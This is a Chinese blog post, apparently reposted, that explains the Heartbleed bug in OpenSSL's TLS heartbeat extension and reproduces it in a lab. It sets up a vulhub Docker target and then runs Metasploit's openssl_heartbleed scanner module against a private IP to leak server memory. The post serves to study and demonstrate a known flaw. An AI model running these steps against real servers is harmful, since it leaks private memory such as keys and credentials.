心脏出血(Heartbleed)漏洞浅析、复现

心脏出血(Heartbleed)漏洞浅析、复现一、漏洞介绍心脏出血(英语:Heartbleed),也简称为心血漏洞,是一个出现在加密程序库OpenSSL的安全漏洞,该程序库广泛用于实现互联网的传输层安全(TLS)协议。它于2012年被引入了软件中,2014年4月首次向公众披露。只要使用的是存在缺陷的OpenSSL实例,无论是服务器还是客户端,都可能因此而受到攻击。此问题的原因是在实现TLS的心跳扩展时没有对输入进行适当验证(缺少边界检查),因此漏洞的名称来源于“心跳”(heartbeat)。该程序错误属于缓冲区过读,即可以读取的数据比应该允许读取的还

大家好,又见面了,我是你们的朋友全栈君。

一、漏洞介绍
心脏出血(英语:Heartbleed),也简称为心血漏洞,是一个出现在加密程序库OpenSSL的安全漏洞,该程序库广泛用于实现互联网的传输层安全(TLS)协议。它于2012年被引入了软件中,2014年4月首次向公众披露。只要使用的是存在缺陷的OpenSSL实例,无论是服务器还是客户端,都可能因此而受到攻击。此问题的原因是在实现TLS的心跳扩展时没有对输入进行适当验证(缺少边界检查),因此漏洞的名称来源于“心跳”(heartbeat)。该程序错误属于缓冲区过读,即可以读取的数据比应该允许读取的还多。
Heartbleed漏洞是由于未能在memcpy()调用受害用户输入内容作为长度参数之前正确进行边界检查。攻击者可以追踪OpenSSL所分配的64KB缓存、将超出必要范围的字节信息复制到缓存当中再返回缓存内容,这样一来受害者的内存内容就会以每次64KB的速度进行泄露。
二、漏洞复现
靶机:centos7 192.168.81.136
攻击机:kali 192.168.81.135
确保两台测试机网络能通

使用docker+vulhub搭建漏洞环境,在centos7上搭建vulhub的步骤如下:
1、安装docker依赖包
yum install -y yum-utils device-mapper-persistent-data lvm2
2、安装docker
yum install docker
3、启动docker
systemctl start docker
4、下载vulhub
https://github.com/vulhub/vulhub/archive/master.zip
5、找到heartbleed,并进入,输入命令docker-compose up -d运行漏洞环境
在这里插入图片描述
在这里插入图片描述

6、查看运行情况
在这里插入图片描述
7、打开kali,运行metaspolit
在这里插入图片描述
8、使用metasploit进行攻击
1)搜索相关漏洞模块儿
search Heartbleed
在这里插入图片描述
2)使用相关攻击模块
use auxiliary/scanner/ssl/openssl_heartbleed
在这里插入图片描述
3)查看需要配置的选项
Show options
在这里插入图片描述
4)对required为yes但是current setting为空的项进行设置,这里我们只需要设置rhosts(靶机ip)
set rhosts 192.168.81.136
在这里插入图片描述
5)开始攻击并查看结果,出现白框字样表示漏洞存在
Run
在这里插入图片描述
6)set verbose true#(设置verbose,这个设置要设置成true才能看到泄露的信息) 此设置主要是为了显示整个过程以及leak出来的数据
在这里插入图片描述
在这里插入图片描述
注意:1、关闭防火墙 2、关闭selinux

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/160550.html原文链接:https://javaforall.net

赞 (0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • 3.4 《数据库系统概论》之数据查询—SELECT(单表查询、连接查询、嵌套查询、集合查询、多表查询)

    3.4 《数据库系统概论》之数据查询—SELECT(单表查询、连接查询、嵌套查询、集合查询、多表查询)文章目录0.前言1.思维导图2.Student/SC/Course表数据及结构3.SELECT语句的一般格式4.单表查询(1)选择表中的若干列①查询指定列②查询全部列③查询经过计算的值❶算术表达式❷字符串常量及函数❸使用列别名改变查询结果的列标题(2)选择表中的若干元组(行)①关键词DISTINCT去掉表中重复的行②查询满足条件的元组(行)❶比较大小❷确定范围❸确定集合❹字…

    2022年6月12日
  • 国标 计算机机房,国标相关知识:电子信息系统机房设计规范(GB50174-2008)[通俗易懂]

    国标 计算机机房,国标相关知识:电子信息系统机房设计规范(GB50174-2008)[通俗易懂]1总则1.0.1为规范电子信息系统机房设计,确保电子信息系统安全、稳定、可靠地运行,做到技术先进、经济合理、安全适用、节能环保,制定本规范。1.0.2本规范适用于建筑中新建、改建和扩建的电子信息系统机房的设计。1.0.3电子信息系统机房的设计应遵循近期建设规模与远期发展规划协调一致的原则。1.0.4电子信息系统机房设计除应符合本规范外,尚应符合国家现行有关标准、规范的规定。2术语2.0.1电子信息…

    2022年10月2日
  • wing是什么_nativepage原理

    wing是什么_nativepage原理给定 n 本书,编号为 1∼n。在初始状态下,书是任意排列的。在每一次操作中,可以抽取其中连续的一段,再把这段插入到其他某个位置。我们的目标状态是把书按照 1∼n 的顺序依次排列。求最少需要多少次操作。输入格式第一行包含整数 T,表示共有 T 组测试数据。每组数据包含两行,第一行为整数 n,表示书的数量。第二行为 n 个整数,表示 1∼n 的一种任意排列。同行数之间用空格隔开。输出格式每组数据输出一个最少操作次数。如果最少操作次数大于或等于 5 次,则输出 5 or more。每个

    2022年8月9日
  • Could not retrieve transation read-only status server「建议收藏」

    背景最近在部署一套完整的项目,部署过程中遇到很多的问题,在来总结一些如标题的这个错误!环境说明: 使用分布式数据库,使用的是mysql!### Cause: java.sql.SQLException: Could not retrieve transation read-only status server; SQL []; Could not retrieve tran…

    2022年2月27日
  • MySQL规范

    MySQL规范

    2021年6月10日

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号